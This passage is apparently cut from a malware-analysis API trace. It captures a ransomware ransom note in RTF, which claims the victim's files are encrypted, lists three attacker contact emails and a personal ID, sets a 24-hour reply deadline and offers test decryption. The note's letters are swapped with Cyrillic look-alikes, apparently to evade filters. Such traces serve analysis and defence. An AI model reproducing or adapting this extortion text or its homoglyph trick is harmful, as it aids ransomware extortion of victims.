s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 